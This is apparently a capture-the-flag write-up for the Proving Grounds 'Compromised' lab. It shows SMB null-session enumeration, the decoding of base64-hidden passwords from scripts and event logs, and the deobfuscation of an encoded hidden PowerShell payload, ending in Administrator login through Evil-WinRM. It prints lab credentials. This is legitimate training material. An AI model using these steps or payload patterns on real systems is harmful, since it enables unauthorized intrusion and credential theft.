---
description: Proving Grounds PG Practice Compromised writeup
---

# Compromised

## Nmap

```bash
sudo nmap 192.168.178.152  -p- -sS -sV

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49666/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Jumping in immediately over to `SMB` for any low hanging fruit we can see can authenticate with null credentials and list the available shares.

```bash
└─$ smbclient -U '' -L \\\\192.168.178.152   
  
Enter WORKGROUP\'s password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Scripts$        Disk      
        Users$          Disk      
SMB1 disabled -- no workgroup available
```

```
└─$ smbclient -U '' \\\\192.168.178.152\\Scripts$   
                                                                                                            1 ⨯
Enter WORKGROUP\'s password: 
Try "help" to get a list of possible commands.
smb: \> dir

  .                                   D        0  Tue Jun  1 10:57:45 2021
  ..                                  D        0  Tue Jun  1 10:57:45 2021
  defrag.ps1                          A       49  Tue Jun  1 10:57:45 2021
  fix-printservers.ps1                A      283  Tue Jun  1 10:57:45 2021
  install-features.ps1                A       81  Tue Jun  1 10:57:45 2021
  purge-temp.ps1                      A      105  Tue Jun  1 10:57:45 2021

                7706623 blocks of size 4096. 3766380 blocks available
```

From here we can see four separate `PowerShell` .ps1 files. I downloaded all the available files which have been listed below:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-b2c1176489314a3c6509928c75d1d91b52496c7d%2Fimage.png?alt=media)

{% tabs %}
{% tab title="Defrag.ps1" %}
```c
Optimize-Volume -DriveLetter C -Defrag -Verbose
```
{% endtab %}

{% tab title="fix-printservers.ps1" %}
```c
$credential = New-Object System.Management.Automation.PSCredential ('scripting', $password)
$spooler = Get-WmiObject -Class Win32_Service -ComputerName (Read-Host -Prompt 'Server Name') -Credential $credential -Filter "Name='spooler'"
$spooler.stopservice()
$spooler.startservice()
```
{% endtab %}

{% tab title="install-features.ps1" %}
```c
Install-WindowsFeature -Name WindowsPowerShellWebAccess -IncludeManagementTools
```
{% endtab %}

{% tab title="purge-temp.ps1" %}
```c
rm "C:\Users\*\Appdata\Local\Temp\*" "c:\Windows\Temp\*"  -Recurse -Force -ErrorAction SilentlyContinue
```
{% endtab %}
{% endtabs %}

However, after going through these files they do not appear to be related directly to any exploitation.

Examining the Users$ `SMB` Share we see that the c:\users directory is mapped as a share. Typically the Administrators user folder is off limits. We are however able to access the entire user directory for the user 'scripting'.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-e9d1d3f285455a63aa4b24284d92b355156071ae%2Fimage.png?alt=media)

Whilst this produces a large amount of files and directories we can instead utilize the `smbmap` tool to assist with recursively going through each directory for interesting files.

```bash
smbmap -u null -p null -H <IP> -s Scripting$ -R
```

Where once finished we find the following files of interest:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-65db143217d190bee4bd26f4150e3579d71da11f%2Fimage.png?alt=media)

Using `smbclient` we can download `README.txt` from the user scripting's Desktop.

{% tabs %}
{% tab title="README.txt" %}
```
Please keep your personal shares locked down. 
Just because it's hidden it doesn't mean it's not accessible. 
Also, please stop storing passwords in your scripts. 
Encoding is not encryption and this information can be lifted from the logs. 
-Security
```
{% endtab %}
{% endtabs %}

We also have a file called profile.ps1 located in `c:\users\scripting\Documents\WindowsPowerShell`.

```c
$password = ConvertTo-SecureString "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA')))" |
-AsPlainText -Force
```

Extracting the Base64 string from the script and running it through base64 we find a potential password string.

```bash
echo 'RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA' | base64 -d  
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-4805b570aba20d89033ac040b95796ade334b174%2Fimage.png?alt=media)

We have the credentials of `scripting:FriendsDontLetFriendsBase64Passwords` Considering port 5985 is open we can test the credentials using `Evil-WinRM`.

```bash
evil-winrm -i <IP> -u 'scripting' -p 'FriendsDontLetFriendsBase64Passwords'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-fdd3f97a987bd4fd9487a7e48b6f75568ca9dfb9%2Fimage.png?alt=media)

Interestingly checking the users group memberships we see the user scripting is a member of the 'Event Log Readers' group.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-5cd4aad1cf1f31f5e8ba9dcd1fba55353b1bf230%2Fimage.png?alt=media)

Often times `PowerShell` commands and scripts that are executed on the system will be logged to the 'Windows PowerShell' event logs.

```
Get-EventLog -LogName 'Windows PowerShell' -Newest 1000 | Select-Object -Property * | out-file c:\users\scripting\logs.txt
```

From the output we notice multiple instances of the command below being execute on the system. As we can tell by the command the payload in encoded in base64.

```
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc JABPAHcAb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AMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2AC
wAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQ
A2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAH
QAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANA
AsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxAD
cALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMA
AxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1AC
wAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQ
A2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxAD
EALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMg
A1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgA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EIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAeg
BBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A
```

Decoding the string with Base64 reveals the command below:

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-172ba2185cc343946be127b659cd5c6aeea0dbda%2Fimage.png?alt=media)

As we can see we have a lot going on with the decoded script. This writeup will not go into depth on this however references will be provided for further reading. Essentially after slowly breaking down the script and decoding a couple of the lines we see the following is performed:

```
$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
Start-Sleep -Seconds 5
if($env:computername -eq "compromised") {exit}
if (test-connection 8.8.8.8 -Quiet) {exit}
if ($owned[2].ToString() -ne 'if($env:computername -eq "compromised") {exit}') {exit} Else {$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))}
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend() | iex
```

Essentially the script will exit on the target system as per the script if the machine cannot ping 8.8.8.8 (Google DNS Servers) and if the machine name is 'compromised' the script will exit. Removing these conditions we are left with the script below.

```
$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")
$ms = (New-Object System.IO.MemoryStream($Decoded,0,$Decoded.Length))
(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()
```

When executed on the target system we are given the Administrator password.

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-a07628da69095630ed033fc1539804fb5ee41546%2Fimage.png?alt=media)

For the credentials: `Administrator:TheShellIsMightierThanTheSword!`

We can then log in as the Administrator using `Evil-WinRM`.

```bash
evil-winrm -i <IP> -u 'Administrator' -p 'TheShellIsMightierThanTheSword!'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2Fgit-blob-8ebfdf53a7f3fc5bde949627627f32fec6126050%2Fimage.png?alt=media)

## References

* [https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0](https://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0)
* [https://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/](https://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/)
* [https://www.offensive-security.com/offsec/powershell-obfuscation/](https://www.offensive-security.com/offsec/powershell-obfuscation/)
